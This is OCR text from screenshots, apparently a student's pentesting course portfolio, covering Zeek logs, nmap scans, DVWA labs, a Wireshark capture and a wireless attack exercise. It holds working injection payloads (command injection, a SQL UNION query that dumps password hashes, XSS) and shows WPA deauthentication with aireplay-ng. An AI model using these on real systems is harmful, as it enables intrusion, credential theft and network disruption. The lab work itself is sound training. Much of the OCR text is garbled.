1641564000

135

1641564000

365

1641564000

375

1641564000

135

1641564000.

146

1641564000

137

1641564000

267

1641564000

152

1641564000

116

1641564000

148

1641562515.
1 2424851
1641563954.

0-

1641563954.

0-

1641564032.
1641564033,
1641564035.

uid

s history orig_pkts
#types time
1641564009
1641564000

178627
351466

362919

368866

379037

437443

447344

459540

517335

55967;

618253

629234

644417

649795

91000!

375680

425636

740755
761620
777627

(empty)

string

id.orig_h
orig_ip_bytes
addr  port  addr
€IqTZ931UrznsSEZ7
C7jdjL1zeTKZtD74F]
Cn1I9F2MT1L1xbQUSe
CSZXCA1CYQWICQaEMS
Clmvom33KYFiyHIR]
CanvPx2bkuv3adTG21
CjSHQC1mW6I4Q9LSRT
CdsXeA4WcUNIS461I1
CDEOAQ2n9FDS1ZGRtg
C9A0ZC11EEHObYUQO4
CFgaMD1gxrOWA17wkf
CYXurE1g36clPtmvel
CtjY65SVCLIGRUFOph
CPtvY63W1hshviobm1
Cluxav4Anyxgcarpuh
CtanpB3ZwbAjCH41d1
CwufaVXEuYFGe106e
COEatB1DbzaGKWONSL

CEZ6€W3CDSpTXPTWP7
CPZXpa3gZCEAZtOURT

id.orig_p

fe80::250:56Ff:fe97:3b34

172.16.1.11
172.16.1.11
172.16.1.11

51268
51268
51268

143

35.232.111.17
35.232.111.17
35.232.111.17

id.resp_h id.resp_p proto

resp_pkts resp_ip_bytes tunnel_parents
port  enun  string interval count
172.16.1.11 54718 172.16.1.1 443
172.16.1.11 50495  192.168.200.14 53
172.16.1.11 48158 192.168.200.14 53
172.16.1.11 44756 192.168.200.14 53
172.16.1.11 36152 192.168.200.14 53
172.16.1.11 44716 192.168.200.14 53
172.16.1.11 40948 192.168.200.14 53
172.16.1.11 53126  192.168.200.14 53
172.16.1.11 53455  192.168.200.14 53
172.16.1.11 43105  192.168.200.14 53
172.16.1.11 60959  192.168.200.14 53
172.16.1.11 60086  192.168.200.14 53
172.16.1.11 43549 192.168.200.14 53
172.16.1.11 40597  192.168.200.14 53
172.16.1.11 54760  172.16.1.1 443
feB0: :FFFF:FFFF:FFFF:FFFF 130

serviceduration orig_bytes

count
tep
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
tep

131

tep
tep
tcp

string  bool  bool
&ns éA8857967
dns. 0.001021
dns. 0.005513
dns. 0.053015
dns. 0.004771
dns. 0.001056
dns. 0.052797
dns. 0.037222
dns. 0.052631
dns. 0.006240
dns. 0.004488
dns. 0.000556
dns. 0.019550
-1492.270333 o
icmp - -
eicmp o P

resp_bytes
count  string
OTH T
0 213
° 92
° 309
° 107
° 309
° 319
° 107
0 118
° 109
° 211
° 124
0 88
° 120
2163751 SHR
OTH T
OTH T
OTH T

conn_state
count  count
T °
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
SHR T
T T
OTH F
OTH i
F 0
F 0
F °

local_orig local_resp
count count set[string]
c 0 0 )
T ° <l °
T 0 <l 0
T 0 <l 0
T 0 <l 0
T 0 <l 0
T 0 <l 0
T ° <l °
T ° <l °
T 0 <l 0
T ° <l °
T 0 <l 0
T ° <l °
T 0 <l 0
° hcadcccf 0
F 0 - 1
F ° 1
c 0 0 0
c 0 0 0
c 0 o o

nissed_byte

76

ro0 0
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!Jeparator \x09

#set_separator ,
#empty_field  (empty)
#unset_field -

#path  http

#open 2022-01-07-15-00-49

#fields ts uid d.orig_h d.orig_p id.resp_h id.resp_p trans_depth method host  uri referrer version user_agent origin request_body_len ref
#types time  string addr  port  addr  port  count string string string string string string string count unt  count string count string set[enun] string string se|
1641564048.733481 C7v14N1bcTXVGHc 1sd 172.16.1.11 51268 35.232.111.17 80 1 - - - - 1.1 - - o o 204 No Content -
1641564334.218142 CalVBG3MeBSF500T3 172.16.1.11 47748 35.224.170.84 80 1 - - - - 1.1 - - o o 204 No Content -
1641564632.946157 Cn9jxg1p68kdabERF 172.16.1.11 51280 35.232.111.17 80 1 - - - - 1.1 - - o o 204 No Content -
1641564961.168110 CBKiVK29tpZKqtwB4l 172.16.1.11 47764 35.224.170.84 80 1 - - - - 1.1 - - o o 204 No Content -
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student@student-virtual-machine:/opt/zeek/logs/current$ cat weird.log

#separator \x09
#set_separator ,

#empty_field  (empty)

#unset_field -

#path ~ weird

#open  2022-01-07-15-60-10

#fields ts uid id.orig_h id.orig_p id.resp_h
#types time  string addr  port  addr  port  string string
1641564609 . 178861 €IqTZ931Ur zmHSSEZ7 172.16.1.11 54718
1641564033.761620 COEatB1DbzaGKWONSL 172.16.1.11 51268
1641564247.246628 Cibruo2H1Hy5UFOXGT 172.16.1.11 51754
1641564247.312803 Cipup34lvdteCUFuLe 172.16.1.11 53792
1641564248.334182 CWBNX1jyeoABPqaA3 172.16.1.11 54726
1641564332.841692 CNEGG0303kKIqcKuY9 172.16.1.11 47748
1641564512, 585820 CAZSSWAXR3YFZA1pB 172.16.1.11 53716
1641564632.842583 C5qXNn3XiPdxI8ykgc 172.16.1.11 51280
1641564933.761622 CQyttu1dIv7Fadoup2 172.16.1.11 47754
1641564953 665615 CWGy6v321ZTEIWpiUL 172.16.1.11 47756
1641564953.742655 Ct3GpQ21KeSy4tBESK 172.16.1.11 47758
1641564955.744021 CLWFgC4rIISTWDUPND 172.16.1.11 47762
1641564959.743539 CI2jT91G5g881BprTa 172.16.1.11 47764
1641565139.934623 ChnZXa2b3vNoy2W7h 172.16.1.11 53808
1641565139.962137 CspSpCgZNWIBCTLH 172.16.1.11 54702
1641565146.135327 CPQPE35bESO17T1s6 172.16.1.11 53818
1641565229.194235 CXBUOGSAAGPWFUja3 172.16.1.11 60412
1641565259.842830 CI1EKg1XxKKyUGaKol9 172.16.1.11 51302

id.resp_p

bool  string
172.16.1.1
35.232.111.17
13.227.219.45
13.227.219.5
172.16.1.1
35.224.170.84
34.117.237.239
35.232.111.17
35.224.170.84
35.224.170.84
35.224.170.84
35.224.170.84
35.224.170.84
13.227.219.42
34.98.75.36
13.227.219.5
216.58.208.106
35.232.111.17

name
string

443

addl notice peer
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active_connection_reuse
active connection reuse

source

Ammmmm MMM T

zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek
zeek

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
Tcp
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student@student-virtual-machine:/opt/zeek/logs/current$ cat notice.log
#separator \x89

#set_separator ,

#empty_field (empty)

#unset_field -

#path  notice

#open 2022-01-07-15-09-47

#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuld  file_mime_type file_desc proto note  msg sub src dst 3 n peer_descr
actions email_dest suppress_for  remote_location.country_code  remote_location.region remote_location.city  remote_location.latitude remote_location. longitude
#types time string addr port addr port string string string enum enun string string  addr addr port count  string set[enum] set[string] interval str

ing string string double double
1641564586. 518552 - - - - - - - - - CaptureLos:
ACTION_LOG (empty) 3600.000000 - - - - -

- - - - - - - - CaptureLoss
ACTION_LOG (empty) 3600.000000 - - - - -

- - - - - - - - CaptureLos:
ACTION_LOG (empty) 3600.800000 = o = o -

Too_Little_Traffic Only observed © TCP ACKs and was expecting at least 1.

1641565486 518960

Too_Little_Traffic Only observed © TCP ACKs and was expecting at least 1.

1641566386.519318

Too_Little_Traffic Only observed © TCP ACKs and was expecting at least 1.
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CVSS is composed of three metric groups: Base, Temporal, and Environmental, each consisting of a set of metrics, as shown in Figure 1.
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e et ]

$ nmap -sP 192.168.167.0/24
Starting Nmap 7.91 ( https://nnap.org ) at 2021-09-30 16:
Nmap scan report for 192.168.167.1
Host is up (0.0032s latency).

Nmap scan report for 192.168.167.18
Host is up (0.0087s latency).

Nmap scan report for 192.168.167.30
Host is up (0.014s latency).

Nnap scan report for 192.168.167.31
Host is up (0.013s latency).

Nnap scan report for 192.168.167.32
Host is up (0.0098s latency).

Nmap scan report for 192.168.167.66
Host is up (0.000055s latency).
Nmap scan report for 192.168.167.67
Host is up (0.011s latency).

Nmap scan report for 192.168.167.86
Host is up (0.0034s latency).

Nmap scan report for 192.168.167.98
Host is up (0.014s latency).

Nmap scan report for 192.168.167.99
Host is up (0.0043s latency).

Nmap scan report for 192.168.167.106
Host is up (0.0041s latency).

Nnap scan report for 192.168.167.107
Host is up (0.0041s latency).
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’_—( student® kalivm2021)-[~]

$ sudo nmap -sS 192.168.167.67

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-30 16:37 CEST
Nmap scan report for 192.168.167.67

Host is up (0.00014s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

80/tcp open http

MAC Address: 00:50:56:97:50:91 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.21 seconds
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E( student® kalivm2021)-[~]

$ sudo nmap -sT -p 80, 443 192.168.167.67

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-3@ 16:56 CEST
Nmap scan report for 443 (0.0.1.187)

Host is up (0.00077s latency).

PORT STATE SERVICE
80/tcp filtered http

Nmap scan report for 192.168.167.67
Host is up (0.00080s latency).

PORT  STATE SERVICE
80/tcp open http
MAC Address: 00:50:56:97:50:91 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 26.40 seconds
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E( student® kalivm2021)-[~]

$ sudo nmap -sU -p 1, 65535 192.168.167.67

[sudo] password for student:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-3@ 17:23 CEST
Nmap scan report for 65535 (0.0.255.255)

Host is up (0.00074s latency).

PORT STATE SERVICE
1/udp open|filtered tcpmux

Nmap scan report for 192.168.167.67
Host is up (0.00053s latency).

PORT STATE SERVICE
1/udp closed tcpmux
MAC Address: 00:50:56:97:50:91 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 26.53 seconds
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E( student® kalivm2021)-[~]

$ sudo nmap -sV 192.168.167.67 -p 80

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-30 17:25 CEST
Nmap scan report for 192.168.167.67

Host is up (0.00054s latency).

PORT  STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:50:56:97:50:91 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
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E( student® kalivm2021)-[~]

$ sudo nmap -0 192.168.167.67 -p 80

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-30 17:27 CEST
Nmap scan report for 192.168.167.67

Host is up (0.00045s latency).

PORT  STATE SERVICE

80/tcp open http

MAC Address: 00:50:56:97:50:91 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds
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O @ 192.168.167.67/d

Home Vulnerability: File Inclusion
Instructions File 4 (Hidden)
Setup / Reset DB
Good job!
Brute Force This file isn't listed at all on DVWA. If you are reading this, you did something right ;-)

Command Injection
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root:x.0:0:root froot/bin/bash daemon:x:1:1:daemon:/ustisbin:/ust/sbin/nologin bin:x.2:2:bin:/bin:/usrisbin/nologin sys:x-3:3:sys:/dev:/usr/sbin/nologin sync:x-4:65534:sync:/bin:/bin/sync games:x-5:60.games:/usr/games: ust/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ipox.7-p:ivar/spoollipd: ust/sbin/nologin mail:x 8:8:mail:/var/mail fust/sbin/nologin news:x-9:9:news:/var/spoolinews: /ust/sbin/nologin uucp:x:10:10:uucp:/var/spooliuucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-datax:33:33:www-data: var/www: ust/sbin/nologin
backup:x:34:34:backup:/var/backups:fus/sbin/nologin list:x:38:38:Maiing List Manager-fvar/list-/usr/sbin/nologin irc:x-39:39:ircd:var/run/ircd:fusri/sbin/nologin gnats:x-41-41:Gnats Bug-Reporting System (admin):fvar/ib/gnats:/ust/sbin/nologin nobody:x 65534:65534:nobody:/nonexistent fust/sbin
inologin systemd-network:x:100:102:systemd Network Management,, /run/systemd/netif-/ust/sbin/nologin Systemd-resolve:x:101:103:systemd Resolver,, /run/systemdiresolve:/usr/sbin/nologin syslog:x:102:106:/home/syslog:/usr/sbin/nologin messagebusx:103:107-:/nonexistent fust/sbin
jnologin _apt:x:104:65534:/nonexistent /usrsbin/nologin Ixd:x-105:65534::Ivarfib/ixd/:/bin/false uidd:x-106:110:/run/uidd:fusr/sbin/nologin dnsmasc:x-107:65534:dnsmasq,, /varfibimisc:/usr/sbin/nologin landscape:x108:112:/varfibllandscape:fus/sbin/nologin pollinate:x-109:1:var/cache

ipollinate:/bin/false student:x-1000:1004:student-/homestudent:/bin/bash mysalx-111:114:MySQL Server, Jnonexistent /binffalse

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

 Fie nclusion |
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (
Weak Session IDs.
XSS (DOM)

XSS (Reflected)
XSS (Stored)
JavaScript
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O @ 192.168.167.67,
sl local_address rem_address st tx_queue rx_queue tr tm->when retmsmt uid timeout inode 0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 111 0 21420 1 0000000000000000 100 0 0 10 0 1: 3500007F:0035 00000000:0000 0A 00000000:00000000
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Vulnerability: Command Injection

Ping a device

Enter an IP address: [192.168.0.1; Is |['submit |

PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.

64 bytes from 192.168.0.1: icmp_seq=1 2 time=4.12 ms
64 bytes from 192.168.0.1: icmp_seq=2 2 time=3.31 ms
64 bytes from 192.168.0.1: icmp_seq=3 2 time=3.26 ms
64 bytes from 192.168.0.1: icmp_seq=4 2 time=5.83 ms

--- 192.168.0.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 3.263/4.133/5.833/1.041 ms

help

index.php

source
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Vulnerability: Command Injection

Ping a device

Enter an IP address: [192.168.0.1; cat index php |['submit |

PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.

64 bytes from 192.168.0.1: icmp_seq=1 ttl=62 time=8.99 ms
64 bytes from 192.168.0.1: icmp_seq=2 2 time ns
64 bytes from 192.168.0.1: icmp_seq=3 2 time ns
64 bytes from 192.168.0.1: icmp_seq=4 ttl=62 time=4.77 ms

192.168.0.1 ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 4.770/8.151/10.589/2.129 ms

Vulnerability: Command Injection

Ping a device

Enter an IP address:
[ |

["Submit |

\n";

if( SvulnerabilityFile
Spage[ 'body' 1

'impossible.php' )

" . tokenField();

Spagel 'body' 1 .= "
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Vulnerability: Command Injection

Ping a device

Enter an IP address: 192.168.0.1; whoami; hostname; i| Submit |

PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.

64 bytes from 192.168.0.1: icmp_seq=1 3.42 ms
64 bytes from 192.168.0.1: icmp_seq=2 tt! ns
64 bytes from 192.168.0.1: icmp_seq=3 tt! ns
64 bytes from 192.168.0.1: icmp_seq=4 tt! ns

--- 192.168.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 3.406/3.506/3.655/0.124 ms
wuw-data
ubuntulg-server
ens32: flags=4163 mtu 1500
inet 192.168.167.67 netmask 255.255.255.0 broadcast 192.168.167.255
inet6 fe80::250:56ff:fe97:5091 prefixlen 64 scopeid 0x20
ether 00:50:56:97:50:91 txqueuelen 1000 (Ethernet)
RX packets 88218 bytes 119570154 (119.5 MB)
RX errors 0 dropped 5 overruns 0 frame 0
TX packets 33339 bytes 3253965 (3.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 993 bytes 76443 (76.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 993 bytes 76443 (76.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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Vulnerability: SQL Injection

User ID:

ID: 1'

ID: 1'

ID: 1'

ID: 1'

ID: 1'

1 OR 1=1]

[ submit|

First name:
Surname: Brown

First name:
Surname: Smith

or '1'='1

First name: admin
Surname: admin

or '1'='1

or '1'='1

First name: Hack
Surname: Me

or '1'='1

First name: Pablo
Surname: Picasso

or '1

Gordon
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User ID: |
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Unknown column '3' in 'order clause'
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Vulnerability: SQL Injection

User ID: | | [ Submit |

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99218c428cb38d5£260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d752e2c3966d7e0d4£cc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbed0cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327debd82c£99
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Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? | Florin | [Submit |
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@ 192.168.167.67

The script in the user input works!
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@ 192.168.167.67

security=low; PHPSESSID=90ffcqolemvOptrpbams7qujki
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * [ |

Message *

[ Sign Guestbook | Clear Guestbook |

Name: Florin
Message: Hello
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * |Fiorin |

<script-alert("It works!")</script>

Message *

[ Sign Guestbook | Clear Guestbook |
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@ 192.168.167.67

)
|
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alert(1) to win

The code below generates HTML in an unsafe way. Prove it by calling alert(1) .

function escape(s) {
return *<script>console.log("'+s+'");</script>’;

}

Input 39

")</script><script>alert(1);</script>//

4
Output  Win!
<script>console.log("")</script><script>alert(1);</script>//");</script>
Rate this level:
User Score Browser 2
. ShabbyMe

Makonede monke
Truong Anh Duc Hacked by ProductCart Expert

geniusmaster33 don't worry about less than 12 its a hack
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Vulnerability: Cross Site Request Forgery (CSRF)

— Change your admin password:

New password:
cosessce
n Confirm new password

Change
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2password_new=password123&password_conf=password123&Change=Change#|

)
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Username

...........
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Time Source Destination Protocol  Length Info
1 0.000000 35.82.92.68 192.168.0.61 TCP 56 443 > 62573 [ACK] Seq=1 Ack=1 Win=120 Len=0
20.342518 192.168.0.61 145.85.4.78 TLSv1.2 994 Application Data
30.382331 145.85.4.78 192.168.0.61 TLSv1.2 215 Application Data
40.427626 192.168.0.61 145.85.4.78 TCP 54 62902 > 443 [ACK] Seq=941 Ack=162 Win=510 Len=0@
51.095194 192.168.0.61 145.85.4.78 TLSv1.2 994 Application Data
61.121296 145.85.4.78 192.168.0.61 TLSv1.2 215 Application Data
71.172788 192.168.0.61 145.85.4.78 TCP 54 62903 > 443 [ACK] Seq=941 Ack=162 Win=510 Len=0
8 1.845969 192.168.0.61 145.85.4.78 TLSv1.2 994 Application Data
9 1.868047 145.85.4.78 192.168.0.61 TLSv1.2 215 Application Data

10 1.921978 192.168.0.61 145.85.4.78 TCP 54 62904 > 443 [ACK] Seq=941 Ack=162 Win=510 Len=0@

11 2.596303 192.168.0.61 145.85.4.78 TLSv1.2 994 Application Data

12 2 g12550 14 PE? 102 162 & &1 TiGu1 2 215 Annlication Dat.
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A Nesecurizat | 426292 hera.fhict.nl/WadEvents/indexphp

Gmail @ YouTube @ Maps

CHILLED BEER

Welcome!

Username:

your username...
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Welcome!

Username:

something

Password:
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http.request.method=="POST"
No. Time Source Destination Protocol  Length  Info
|- 603 40.324085 192.168.0.61 104.73.138.60 ocsp 477 Request
20312 350.554734  192.168.0.61 145.85.4.70 HTTP 792 POST /WadEvents/intermediate.php HTTP/1.1 (application/x-www-form-urlencoded)
24211 606.000943  192.168.0.61 145.85.4.70 HTTP 812 POST /WadEvents/intermediate.php HTTP/1.1 (application/x-www-form-urlencoded)
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A Wik X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
= Qi
B )+
No. Time Source Destination Protocol  Length Info
603 40.324085 192.168.0.61 104.73.138.60 ocsP. 477 Request

20312 350.554734  192.168.0.61 145.85.4.70 HTTP. 792 POST /WadEvents/intermediate.php HTTP/1.1 (application/x-www-form-urlencoded)

|- 24211 606.000943  192.168.0.61 145.85.4.70 HTTP 812 POST /WadEvents/intermediate.php HTTP/1.1 (application/x-www-form-urlencoded)

Mark/Unmark Packet Ctrl+M
Ignore/Unignore Packet  Ctrl+D.
Set/Unset Time Reference ~ Ctrl+T

Time Shift... Ctrl+ShiftsT
Packet Comment... Ctrl+Alt+C

Edit Resolved Name

Apply as Filter »

i 5 [ Filt »

Frame 24211: 812 bytes on wire (6496 bits), 812 bytes capt (CPERESIALET ;
Ethernet II, Src: e6:af:22:6e:bf:0f (e6:af:22:6e:bf:of), p  Conversationfilter

Internet Protocol Version 4, Src: 192.168.0.61, Dst: 145.8  Colorize Conversation D

sctp »

Transmission Control Protocol, Src Port: 54859, Dst Port:

HTML Form URL Encoded: application/x-www-form-urlencoded Copy R

NPF_{BD717731-88BE-4D41-BB76-7D1FA2953B61}, id @
et)

TCPStream  Ctrl+Alt+Shift«T
UDPStream  Ctrl+Alt+Shift+U
TLSStream  Ctrl+Alt+Shift+S

Decode As...
Show Packet in New Window

HTTP/2 Stream
QUIC Stream

cc 35 40 ee 21 ed e6 af 22 6e bf 9f 03 00 45 00
03 le a9 70 40 00 80 06 00 00 c@ a8 0@ 3d 91 55
04 46 d6 4b @0 50 81 08 7 0a db 80 1d 78 50 18  -F-K- -
02 01 59 91 @0 00 50 4f 53 54 20 2f 57 61 64 45  --V- ST /uadE
76 65 6e 74 73 2f 69 6e 74 65 72 6d 65 64 69 61  vents/in termedia
74 65 2e 70 68 70 20 48 54 54 50 2f 31 2e 31 0d  te.php H TTP/1.1-
0a 48 6 73 74 3a 20 69 34 32 36 32 39 32 2e 68  -Host: i 426292.h
65 72 61 2e 66 68 69 63 74 2e 6e 6c @d 0a 43 6f era.fhic t.nl--Co
6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61  nnection : keep-a
6c 69 76 65 0d @a 43 6f Ge 74 65 6e 74 2d 4c 65 live--Co ntent-Le
6e 67 74 68 3a 20 33 33 0d 0a 43 61 63 68 65 2d  ngth: 33 --Cache-
43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 Control: max-age
3d 30 0d @a 55 70 67 72 61 64 65 2d 49 6e 73 65 =0--Upgr ade-Inse
63 75 72 65 2d 52 65 71 75 65 73 74 73 3a 20 31  cure-Req uests: 1

v

@ 7 wireshark_Wi-FIMQWBB1.pcapng

Packets: 25809 - Displayed: 3 (0.0%)

Profile: Default





image49.png
a M Wireshark - Follow HTTP Stream (tcp.stream eq 210) - Wi-Fi - u] X
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—( o ® 00 /home/student |
i arpspoof -1 wland- - 192.168.0.61 192.168.0.1
arpspoof: libnet_check_iface() ioctl: No such device

——(“00i@ 100 /home/student ]
L arpspoof -i wland -t 192.168.0.61 192.168.0.1
arpspoof: libnet_check_iface() ioctl: No such device

——(“00 @ 100 ) /home/student ]
' arpspoof -1 lan@ -t 192.168.0.61 192.168.0.1
arpspoof: libnet_check_iface() ioctl: No such device

—(r00 @ ol ivi2021) [ /home/student |
L arpspoof -i etho -t 192.168.244.1 192.168.0.1
rpspoof: couldn't arp for host 192.168.264.1

(2001 100 ) /home/student ]
L arpspoof -i etho -t 192.168.12.1 192.168.0.1
arpspoof: couldn't arp for host 192.168.12.1
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environment would be vulnerable IF a real hacker tries to break it.

So now we will have to define what we mean with "Pentesting"

Pentesting Process

Accotint When pentesting, you will normally stop before point 4 in above image, meaning NO exploiting and beyond! Sometimes, a customer likes the pentesters to

s really try to go as far as they can, and then we are talking about 'Red Teaming' & Make sure to narrow the scope for investigation with your customer as
Dashboard close as possible on forehand (see next chapter below)!

= Another way of looking at pentesting is given in the following picture:

Courses
A8
Groups
Calendar

Intel Vuln Post

Gathering Analysis Exploitation

N\

As said before, a pentest in general covers almost all these standard phases of a hacking attack (except 5):

1. "Intel Gathering" = Gathering information about the target: company information like telephone-numbers, names, email adresses, websites, etc. This is
represented in this course by:
Portfolio

®

StudvCoac

o The "Reconnaissance" and "Social Engineering" part of subject "Footprinting, Reconaissance and Social Engineering".
2. "Footprint" = Get an idea about the IT architecture of the target, e.g. ip ranges, active ip adresses, open ports, OS (versions) used, important servers.

This is represented in this course by both:
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@ Attack Target

Configure the details of the target for the attack.

Host: | 192.168.167.67

Port: | 80

[l use HTTPS
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Es(kalis kali)-[~]

sudo airmon-ng

PHY  Interface Driver Chipset.

phy9  wlano athok_htc NetGear, Inc. WNA1100 Wireless-N 150

[Atheros AR9271]
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(kali® kali)-[~]
s sudo iwconfig

1o no wireless extensions.
etho no wireless extensions.
wlano  IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dgm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Pover Management:off
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[(kali®kati)-~]
$ sudo airmon-ng start wlano 9

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill'

before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
465 NetworkManager
1442 wpa_supplicant
Driver

PHY Interface

phys  wlano athok_htc
[Atheros AR92711

(mac80211 monitor mode
‘anemon)

(mac80211 station mode

Chipset.
NetGear, Inc. WNA1100 Wireless-N 150
Vif enabled for [phy9lwland on [phy9lw

Vif disabled for [phy9lwlano)
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[ (kali®kati)-[~]
$ sudo airodump-ng wlanemon

CH 9 1[ Elapsed: 12 s ][ 2021-10-14 05:56

BSSID PWR Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
= e o 1 -1 <length: 0>
= e o 1 -1 <length: 0>
47 0 0 2 720 WPA2 CCMP__ PSK FBISurveillanceVan

o o 0PN 12connect
-65 @ 0 13 195 WPA2 CCMP MGT eduroam
-65 @ 0 13 195 OPN 12connect
e = e e | o




image65.png
[ ali® kati)-[~]
$ sudo airodump-ng -w capture -c 1 —bssid F8:1A:67:43:F3:96 wlanomon
05:57:33 Created capture file "capture-01.cap”.

CH 1 1[ Elapsed: 18 s [ 2021-10-14 05:57

B5SID PUR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:1A167:43:F3:96 -52 61 78 266 © 1 65 WPA2 CCMP PSK CSi-megabeastl
BSSID STATION PWR Rate Lost  Frames Notes Probes

F8i1A:67:43:F3:96 72:D7:7D:A1:04:6F -82 1 - le 7559 940
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F8:1A:67:43:F3:96 wlanomon

File Actions Edit View Help

[(kati® kati)-[~]

$ sudo aireplay-ng —deauth 0 -a g :
05:59:48 Waiting for beacon frame (BSSID: F8:1A:67:43:F3:96) on channel 1
NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

Sending DeAuth (code 7) to broadcast - BSSID: [F8:1A:67:43:F3:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast — BSSID: [F8:
~[[B"[[B"[[B05:59:53 Sending DeAuth (code 7) to broadcast — BSSID:
7:43:F3:96]

Sending DeAuth (code 7) to broadcast —- BSSID:
Sending DeAuth (code 7) to broadcast — BSSID:
Sending DeAuth (code 7) to broadcast - BSSID:
Sending DeAuth (code 7) to broadcast — BSSII

10 WPA handshake: F8:1A:67:43:F3:96
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[(eli®kati)-[-]
$ sudo airmon-ng stop wlanomon

PHY  Interface Driver Chipset

phyls  wlanomon athok_htc NetGear, Inc. WNA1100 Wireless-N 150 [Atheros AR9271]
(macs0211 station mode vif enabled on [phy16]wlano)
(nacg0211 monitor mode vif disabled for [phyl6lwlanmon)

[(kati®kati)-[~]
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz




